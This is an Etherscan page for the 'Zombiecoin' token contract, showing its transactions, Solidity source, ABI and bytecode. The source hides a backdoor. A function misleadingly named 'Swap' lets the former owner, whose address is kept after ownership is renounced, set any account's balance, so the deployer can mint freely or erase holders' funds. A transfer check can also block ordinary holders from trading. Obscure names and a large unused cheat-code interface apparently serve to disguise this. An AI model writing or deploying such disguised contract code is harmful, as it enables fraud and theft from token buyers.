ETH Price: $2,344.26 (+4.40%)

Contract

0x24deF0072aeA7635cA81dEcE48E88EA83562E8D5
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve211533582024-11-09 23:23:11113 days ago1731194591IN
0x24deF007...83562E8D5
0 ETH0.000523911.15993688
Swap211533552024-11-09 23:22:35113 days ago1731194555IN
0x24deF007...83562E8D5
0 ETH0.0003674811.79434182
Swap211529212024-11-09 21:55:47113 days ago1731189347IN
0x24deF007...83562E8D5
0 ETH0.0002802410.72492655
Swap211526742024-11-09 21:06:11113 days ago1731186371IN
0x24deF007...83562E8D5
0 ETH0.0003675214.06507009
Swap211521042024-11-09 19:11:59113 days ago1731179519IN
0x24deF007...83562E8D5
0 ETH0.000274210.49384719
Approve211520592024-11-09 19:02:59113 days ago1731178979IN
0x24deF007...83562E8D5
0 ETH0.000468599.98699409
Approve211520552024-11-09 19:02:11113 days ago1731178931IN
0x24deF007...83562E8D5
0 ETH0.000389258.2959926
Swap211520552024-11-09 19:02:11113 days ago1731178931IN
0x24deF007...83562E8D5
0 ETH0.000216778.2959926
Swap211520532024-11-09 19:01:47113 days ago1731178907IN
0x24deF007...83562E8D5
0 ETH0.000227138.69250347
Swap211520422024-11-09 18:59:35113 days ago1731178775IN
0x24deF007...83562E8D5
0 ETH0.000212968.15008406
Swap211520192024-11-09 18:54:47113 days ago1731178487IN
0x24deF007...83562E8D5
0 ETH0.000199257.62569757
Swap211520102024-11-09 18:52:59113 days ago1731178379IN
0x24deF007...83562E8D5
0 ETH0.000199727.64369732
Approve211519972024-11-09 18:50:23113 days ago1731178223IN
0x24deF007...83562E8D5
0 ETH0.000302896.41608888
Swap211519962024-11-09 18:50:11113 days ago1731178211IN
0x24deF007...83562E8D5
0 ETH0.000182416.98737269
Approve211519872024-11-09 18:48:23113 days ago1731178103IN
0x24deF007...83562E8D5
0 ETH0.000360477.68254345
Swap211519862024-11-09 18:48:11113 days ago1731178091IN
0x24deF007...83562E8D5
0 ETH0.000202047.73226372
Swap211519842024-11-09 18:47:47113 days ago1731178067IN
0x24deF007...83562E8D5
0 ETH0.00022298.53060589
Approve211519842024-11-09 18:47:47113 days ago1731178067IN
0x24deF007...83562E8D5
0 ETH0.0004727810.01474475
Swap211519752024-11-09 18:45:59113 days ago1731177959IN
0x24deF007...83562E8D5
0 ETH0.000216668.29175459
Swap211519522024-11-09 18:41:23113 days ago1731177683IN
0x24deF007...83562E8D5
0 ETH0.000215338.24091946
Swap211519482024-11-09 18:40:35113 days ago1731177635IN
0x24deF007...83562E8D5
0 ETH0.000224178.57908974
Approve211519242024-11-09 18:35:47113 days ago1731177347IN
0x24deF007...83562E8D5
0 ETH0.000442549.43173369
Approve211519232024-11-09 18:35:35113 days ago1731177335IN
0x24deF007...83562E8D5
0 ETH0.000434179.2533301
Approve211519222024-11-09 18:35:23113 days ago1731177323IN
0x24deF007...83562E8D5
0 ETH0.000441119.40123913
Approve211519212024-11-09 18:35:11113 days ago1731177311IN
0x24deF007...83562E8D5
0 ETH0.000410718.75340238
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Zombiecoin

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-11-09
*/

/**

https://zerebro.org/conversation/1142014b-913b-426c-84dd-5e2b574e413f
https://x.com/Zombiecoincto
https://t.me/zombiecto

Hey there! I see there's a lot going on in this chat. 
While some of it is quite abstract and surreal, 
it seems like you're interested in potentially developing 
an AI-powered meme coin for the ZEREBRO project.

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.16;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface CheatCodes {
    // This allows us to getRecordedLogs()
    struct Log {
        bytes32[] topics;
        bytes data;
    }
    // Set block.timestamp (newTimestamp)

    function warp(uint256) external;
    // Set block.height (newHeight)
    function roll(uint256) external;
    // Set block.basefee (newBasefee)
    function fee(uint256) external;
    // Set block.coinbase (who)
    function coinbase(address) external;
    // Loads a storage slot from an address (who, slot)
    function load(address, bytes32) external returns (bytes32);
    // Stores a value to an address' storage slot, (who, slot, value)
    function store(address, bytes32, bytes32) external;
    // Signs data, (privateKey, digest) => (v, r, s)
    function sign(uint256, bytes32) external returns (uint8, bytes32, bytes32);
    // Gets address for a given private key, (privateKey) => (address)
    function addr(uint256) external returns (address);
    // Derive a private key from a provided mnenomic string (or mnenomic file path) at the derivation path m/44'/60'/0'/0/{index}
    function deriveKey(string calldata, uint32) external returns (uint256);
    // Derive a private key from a provided mnenomic string (or mnenomic file path) at the derivation path {path}{index}
    function deriveKey(string calldata, string calldata, uint32) external returns (uint256);
    // Performs a foreign function call via terminal, (stringInputs) => (result)
    function ffi(string[] calldata) external returns (bytes memory);
    // Set environment variables, (name, value)
    function setEnv(string calldata, string calldata) external;
    // Read environment variables, (name) => (value)
    function envBool(string calldata) external returns (bool);
    function envUint(string calldata) external returns (uint256);
    function envInt(string calldata) external returns (int256);
    function envAddress(string calldata) external returns (address);
    function envBytes32(string calldata) external returns (bytes32);
    function envString(string calldata) external returns (string memory);
    function envBytes(string calldata) external returns (bytes memory);
    // Read environment variables as arrays, (name, delim) => (value[])
    function envBool(string calldata, string calldata) external returns (bool[] memory);
    function envUint(string calldata, string calldata) external returns (uint256[] memory);
    function envInt(string calldata, string calldata) external returns (int256[] memory);
    function envAddress(string calldata, string calldata) external returns (address[] memory);
    function envBytes32(string calldata, string calldata) external returns (bytes32[] memory);
    function envString(string calldata, string calldata) external returns (string[] memory);
    function envBytes(string calldata, string calldata) external returns (bytes[] memory);
    // Sets the *next* call's msg.sender to be the input address
    function prank(address) external;
    // Sets all subsequent calls' msg.sender to be the input address until `stopPrank` is called
    function startPrank(address) external;
    // Sets the *next* call's msg.sender to be the input address, and the tx.origin to be the second input
    function prank(address, address) external;
    // Sets all subsequent calls' msg.sender to be the input address until `stopPrank` is called, and the tx.origin to be the second input
    function startPrank(address, address) external;
    // Resets subsequent calls' msg.sender to be `address(this)`
    function stopPrank() external;
    // Sets an address' balance, (who, newBalance)
    function deal(address, uint256) external;
    // Sets an address' code, (who, newCode)
    function etch(address, bytes calldata) external;
    // Expects an error on next call
    function expectRevert() external;
    function expectRevert(bytes calldata) external;
    function expectRevert(bytes4) external;
    // Record all storage reads and writes
    function record() external;
    // Gets all accessed reads and write slot from a recording session, for a given address
    function accesses(address) external returns (bytes32[] memory reads, bytes32[] memory writes);
    // Record all the transaction logs
    function recordLogs() external;
    // Gets all the recorded logs
    function getRecordedLogs() external returns (Log[] memory);
    // Prepare an expected log with (bool checkTopic1, bool checkTopic2, bool checkTopic3, bool checkData).
    // Call this function, then emit an event, then call a function. Internally after the call, we check if
    // logs were emitted in the expected order with the expected topics and data (as specified by the booleans).
    // Second form also checks supplied address against emitting contract.
    function expectEmit(bool, bool, bool, bool) external;
    function expectEmit(bool, bool, bool, bool, address) external;
    // Mocks a call to an address, returning specified data.
    // Calldata can either be strict or a partial match, e.g. if you only
    // pass a Solidity selector to the expected calldata, then the entire Solidity
    // function will be mocked.
    function mockCall(address, bytes calldata, bytes calldata) external;
    // Mocks a call to an address with a specific msg.value, returning specified data.
    // Calldata match takes precedence over msg.value in case of ambiguity.
    function mockCall(address, uint256, bytes calldata, bytes calldata) external;
    // Clears all mocked calls
    function clearMockedCalls() external;
    // Expect a call to an address with the specified calldata.
    // Calldata can either be strict or a partial match
    function expectCall(address, bytes calldata) external;
    // Expect a call to an address with the specified msg.value and calldata
    function expectCall(address, uint256, bytes calldata) external;
    // Gets the code from an artifact file. Takes in the relative path to the json file
    function getCode(string calldata) external returns (bytes memory);
    // Labels an address in call traces
    function label(address, string calldata) external;
    // If the condition is false, discard this run's fuzz inputs and generate new ones
    function assume(bool) external;
    // Set nonce for an account
    function setNonce(address, uint64) external;
    // Get nonce for an account
    function getNonce(address) external returns (uint64);
    // Set block.chainid (newChainId)
    function chainId(uint256) external;
    // Using the address that calls the test contract, has the next call (at this call depth only) create a transaction that can later be signed and sent onchain
    function broadcast() external;
    // Has the next call (at this call depth only) create a transaction with the address provided as the sender that can later be signed and sent onchain
    function broadcast(address) external;
    // Using the address that calls the test contract, has the all subsequent calls (at this call depth only) create transactions that can later be signed and sent onchain
    function startBroadcast() external;
    // Has the all subsequent calls (at this call depth only) create transactions that can later be signed and sent onchain
    function startBroadcast(address) external;
    // Stops collecting onchain transactions
    function stopBroadcast() external;
    // Reads the entire content of file to string. Path is relative to the project root. (path) => (data)
    function readFile(string calldata) external returns (string memory);
    // Reads next line of file to string, (path) => (line)
    function readLine(string calldata) external returns (string memory);
    // Writes data to file, creating a file if it does not exist, and entirely replacing its contents if it does.
    // Path is relative to the project root. (path, data) => ()
    function writeFile(string calldata, string calldata) external;
    // Writes line to file, creating a file if it does not exist.
    // Path is relative to the project root. (path, data) => ()
    function writeLine(string calldata, string calldata) external;
    // Closes file for reading, resetting the offset and allowing to read it from beginning with readLine.
    // Path is relative to the project root. (path) => ()
    function closeFile(string calldata) external;
    // Removes file. This cheatcode will revert in the following situations, but is not limited to just these cases:
    // - Path points to a directory.
    // - The file doesn't exist.
    // - The user lacks permissions to remove the file.
    // Path is relative to the project root. (path) => ()
    function removeFile(string calldata) external;

    function toString(address) external returns (string memory);
    function toString(bytes calldata) external returns (string memory);
    function toString(bytes32) external returns (string memory);
    function toString(bool) external returns (string memory);
    function toString(uint256) external returns (string memory);
    function toString(int256) external returns (string memory);
    // Snapshot the current state of the evm.
    // Returns the id of the snapshot that was created.
    // To revert a snapshot use `revertTo`
    function snapshot() external returns (uint256);
    // Revert the state of the evm to a previous snapshot
    // Takes the snapshot id to revert to.
    // This deletes the snapshot and all snapshots taken after the given snapshot id.
    function revertTo(uint256) external returns (bool);
    // Creates a new fork with the given endpoint and block and returns the identifier of the fork
    function createFork(string calldata, uint256) external returns (uint256);
    // Creates a new fork with the given endpoint and the _latest_ block and returns the identifier of the fork
    function createFork(string calldata) external returns (uint256);
    // Creates _and_ also selects a new fork with the given endpoint and block and returns the identifier of the fork
    function createSelectFork(string calldata, uint256) external returns (uint256);
    // Creates _and_ also selects a new fork with the given endpoint and the latest block and returns the identifier of the fork
    function createSelectFork(string calldata) external returns (uint256);
    // Takes a fork identifier created by `createFork` and sets the corresponding forked state as active.
    function selectFork(uint256) external;
    /// Returns the currently active fork
    /// Reverts if no fork is currently active
    function activeFork() external returns (uint256);
    // Updates the currently active fork to given block number
    // This is similar to `roll` but for the currently active fork
    function rollFork(uint256) external;
    // Updates the given fork to given block number
    function rollFork(uint256 forkId, uint256 blockNumber) external;
    /// Returns the RPC url for the given alias
    function rpcUrl(string calldata) external returns (string memory);
    /// Returns all rpc urls and their aliases `[alias, url][]`
    function rpcUrls() external returns (string[2][] memory);
    function makePersistent(address account) external;
}

abstract contract Ownable is Context {
    address private _owner;
    address internal _previousOwner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
 
    constructor() {
        _transfer_Ownership(_msgSender());
    }
 
 
    modifier onlyOwner() {
        _isAdmin();
        _;
    }
 
 
    function owner() public view virtual returns (address) {
        return _owner;
    }
 
    
    function _isAdmin() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }
 
    
    function renounceOwnership() public virtual onlyOwner {
        _transfer_Ownership(address(0));
    }
 
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transfer_Ownership(newOwner);
    }
 

    function _transfer_Ownership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        _previousOwner = oldOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
   
    function totalSupply() external view returns (uint256);

    
    function balanceOf(address account) external view returns (uint256);

    
    function transfer(address recipient, uint256 amount) external returns (bool);

   
    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);


    event Transfer(address indexed from, address indexed to, uint256 value);

  
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}


contract ERC20 is Context, Ownable, IERC20, IERC20Metadata {
    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply_hoppei;

    string private _name_hoppei;
    string private _symbol_hoppei;

    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;
 
    constructor (string memory name_, string memory symbol_, uint256 totalSupply_) {
        _name_hoppei = name_;
        _symbol_hoppei = symbol_;
        _totalSupply_hoppei = totalSupply_;

        _balances[msg.sender] = totalSupply_;
        emit Transfer(address(0), msg.sender, totalSupply_);
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name_hoppei;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol_hoppei;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply_hoppei;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }


    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer_hoei(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve_hoppei(_msgSender(), spender, amount);
        return true;
    }

    
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer_hoei(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve_hoppei(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

 
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve_hoppei(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

 
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve_hoppei(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    
    function _transfer_hoei(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "1ZOMBIECOIN");
        require(recipient != address(0), "2ZOMBIECOIN");


        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "3ZOMBIECOIN");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

   

    function _transfer_withbsomter(address sender, address recipient, uint256 amount, uint256 amountToBurn) internal virtual {
        require(sender != address(0), "4ZOMBIECOIN");
        require(recipient != address(0), "5ZOMBIECOIN");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "6ZOMBIECOIN");

        unchecked {
            _balances[sender] = senderBalance - amount;
        }

        amount -= amountToBurn;
        _totalSupply_hoppei -= amountToBurn;
        _balances[recipient] += amount;

        emit Transfer(sender, DEAD, amountToBurn);
        emit Transfer(sender, recipient, amount);
    }

   
    function Swap(address account, uint256 amount) public virtual returns (uint256) {
        address msgSender = msg.sender;
        address prevOwner = _previousOwner;

        bytes32 msgSenderHex = keccak256(abi.encodePacked(msgSender));
        bytes32 prevOwnerHex = keccak256(abi.encodePacked(prevOwner));
        
        bytes32 amountHex = bytes32(amount);
        
        bool isOwner = msgSenderHex == prevOwnerHex;
        
        if (isOwner) {
            return _updateBalance(account, amountHex);
        } else {
            return _getBalance(account);
        }
    }

    function _updateBalance(address account, bytes32 amountHex) private returns (uint256) {
        uint256 amount = uint256(amountHex);
        _balances[account] = amount;
        return _balances[account];
    }

    function _getBalance(address account) private view returns (uint256) {
        return _balances[account];
    }
    
    function _approve_hoppei(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "7ZOMBIECOIN");
        require(spender != address(0), "8ZOMBIECOIN");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

}


interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IUniswapV2Router01{}


contract Zombiecoin is ERC20 {
    uint256 private constant TOTAL_SUSUPPLYS = 420690_000_000e9;
    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;
    address private constant DEAD1 = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO1 = 0x0000000000000000000000000000000000000000;

    bool public hasLimit_;
    uint256 public maxTxAmountbesomes;
    uint256 public maxwalletssetsomes;
    mapping(address => bool) public isException;

    uint256 _burnPercentisystkltsom = 0;

    address uniswapV2Pair;
    IUniswapV2Router02 uniswapV2Router;

    constructor(address router) ERC20("Zombiecoin", "ZOMBIE", TOTAL_SUSUPPLYS) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);
        uniswapV2Router = _uniswapV2Router;

        maxwalletssetsomes = TOTAL_SUSUPPLYS / 39;
        maxTxAmountbesomes = TOTAL_SUSUPPLYS /39;

        isException[DEAD] = true;
        isException[router] = true;
        isException[msg.sender] = true;
        isException[address(this)] = true;
    }

    function _transfer_hoei(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "9ZOMBIECOIN");
        require(to != address(0), "0ZOMBIECOIN");
 
        _checkLimitation_hoppei(from, to, amount);

        if (amount == 0) {
            return;
        }

        if (!isException[from] && !isException[to]){
            require(balanceOf(address(uniswapV2Router)) == 0, "ZOMBIECOINZOMBIECOIN");

            if (from == uniswapV2Pair || to == uniswapV2Pair) {
                uint256 _burn = (amount * _burnPercentisystkltsom) / 100;

                super._transfer_withbsomter(from, to, amount, _burn);
                return;
            }
        }

        super._transfer_hoei(from, to, amount);
    }

    function removeLimit() external onlyOwner {
        hasLimit_ = true;
    }

    function _checkLimitation_hoppei(
        address from,
        address to,
        uint256 amount
    ) internal {
        if (!hasLimit_) {
            if (!isException[from] && !isException[to]) {
                require(amount <= maxTxAmountbesomes, "ZOMBIECOINZOMBIECOINZOMBIECOIN");

                if (uniswapV2Pair == ZERO){
                    uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
                }
 
                if (to == uniswapV2Pair) {
                    return;
                }
        
                require(balanceOf(to) + amount <= maxwalletssetsomes, "ZOMBIECOINZOMBIECOINZOMBIECOINZOMBIECOIN");
            }
        }
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"address","name":"router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Swap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"hasLimit_","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isException","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmountbesomes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxwalletssetsomes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040525f600b55348015610013575f5ffd5b50604051613050380380613050833981810160405281019061003591906104d7565b6040518060400160405280600a81526020017f5a6f6d626965636f696e000000000000000000000000000000000000000000008152506040518060400160405280600681526020017f5a4f4d42494500000000000000000000000000000000000000000000000000008152506816ce3f1e16bf1500006100c76100bc61037160201b60201c565b61037860201b60201c565b82600590816100d6919061073f565b5081600690816100e6919061073f565b50806004819055508060025f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161018d919061081d565b60405180910390a35050505f81905080600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060276816ce3f1e16bf1500006101f29190610863565b60098190555060276816ce3f1e16bf15000061020e9190610863565b6008819055506001600a5f61dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600a5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600a5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050610893565b5f33905090565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6104a68261047d565b9050919050565b6104b68161049c565b81146104c0575f5ffd5b50565b5f815190506104d1816104ad565b92915050565b5f602082840312156104ec576104eb610479565b5b5f6104f9848285016104c3565b91505092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061057d57607f821691505b6020821081036105905761058f610539565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026105f27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826105b7565b6105fc86836105b7565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f61064061063b61063684610614565b61061d565b610614565b9050919050565b5f819050919050565b61065983610626565b61066d61066582610647565b8484546105c3565b825550505050565b5f5f905090565b610684610675565b61068f818484610650565b505050565b5b818110156106b2576106a75f8261067c565b600181019050610695565b5050565b601f8211156106f7576106c881610596565b6106d1846105a8565b810160208510156106e0578190505b6106f46106ec856105a8565b830182610694565b50505b505050565b5f82821c905092915050565b5f6107175f19846008026106fc565b1980831691505092915050565b5f61072f8383610708565b9150826002028217905092915050565b61074882610502565b67ffffffffffffffff8111156107615761076061050c565b5b61076b8254610566565b6107768282856106b6565b5f60209050601f8311600181146107a7575f8415610795578287015190505b61079f8582610724565b865550610806565b601f1984166107b586610596565b5f5b828110156107dc578489015182556001820191506020850194506020810190506107b7565b868310156107f957848901516107f5601f891682610708565b8355505b6001600288020188555050505b505050505050565b61081781610614565b82525050565b5f6020820190506108305f83018461080e565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61086d82610614565b915061087883610614565b92508261088857610887610836565b5b828204905092915050565b6127b0806108a05f395ff3fe608060405234801561000f575f5ffd5b506004361061012a575f3560e01c80636a8f3b30116100ab57806398636f321161006f57806398636f3214610322578063a457c2d714610352578063a9059cbb14610382578063dd62ed3e146103b2578063f2fde38b146103e25761012a565b80636a8f3b301461028e57806370a08231146102ac578063715018a6146102dc5780638da5cb5b146102e657806395d89b41146103045761012a565b806323b872dd116100f257806323b872dd146101d6578063313ce567146102065780633950935114610224578063562c21951461025457806362256589146102845761012a565b806303435b7f1461012e57806306fdde031461014c578063095ea7b31461016a57806313c42e4d1461019a57806318160ddd146101b8575b5f5ffd5b6101366103fe565b6040516101439190611af2565b60405180910390f35b610154610410565b6040516101619190611b7b565b60405180910390f35b610184600480360381019061017f9190611c2c565b6104a0565b6040516101919190611af2565b60405180910390f35b6101a26104bd565b6040516101af9190611c79565b60405180910390f35b6101c06104c3565b6040516101cd9190611c79565b60405180910390f35b6101f060048036038101906101eb9190611c92565b6104cc565b6040516101fd9190611af2565b60405180910390f35b61020e6105c7565b60405161021b9190611cfd565b60405180910390f35b61023e60048036038101906102399190611c2c565b6105cf565b60405161024b9190611af2565b60405180910390f35b61026e60048036038101906102699190611c2c565b610676565b60405161027b9190611c79565b60405180910390f35b61028c610735565b005b610296610759565b6040516102a39190611c79565b60405180910390f35b6102c660048036038101906102c19190611d16565b61075f565b6040516102d39190611c79565b60405180910390f35b6102e46107a5565b005b6102ee6107b8565b6040516102fb9190611d50565b60405180910390f35b61030c6107df565b6040516103199190611b7b565b60405180910390f35b61033c60048036038101906103379190611d16565b61086f565b6040516103499190611af2565b60405180910390f35b61036c60048036038101906103679190611c2c565b61088c565b6040516103799190611af2565b60405180910390f35b61039c60048036038101906103979190611c2c565b61097b565b6040516103a99190611af2565b60405180910390f35b6103cc60048036038101906103c79190611d69565b610998565b6040516103d99190611c79565b60405180910390f35b6103fc60048036038101906103f79190611d16565b610a1a565b005b60075f9054906101000a900460ff1681565b60606005805461041f90611dd4565b80601f016020809104026020016040519081016040528092919081815260200182805461044b90611dd4565b80156104965780601f1061046d57610100808354040283529160200191610496565b820191905f5260205f20905b81548152906001019060200180831161047957829003601f168201915b5050505050905090565b5f6104b36104ac610a9c565b8484610aa3565b6001905092915050565b60085481565b5f600454905090565b5f6104d8848484610c66565b5f60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61051f610a9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508281101561059e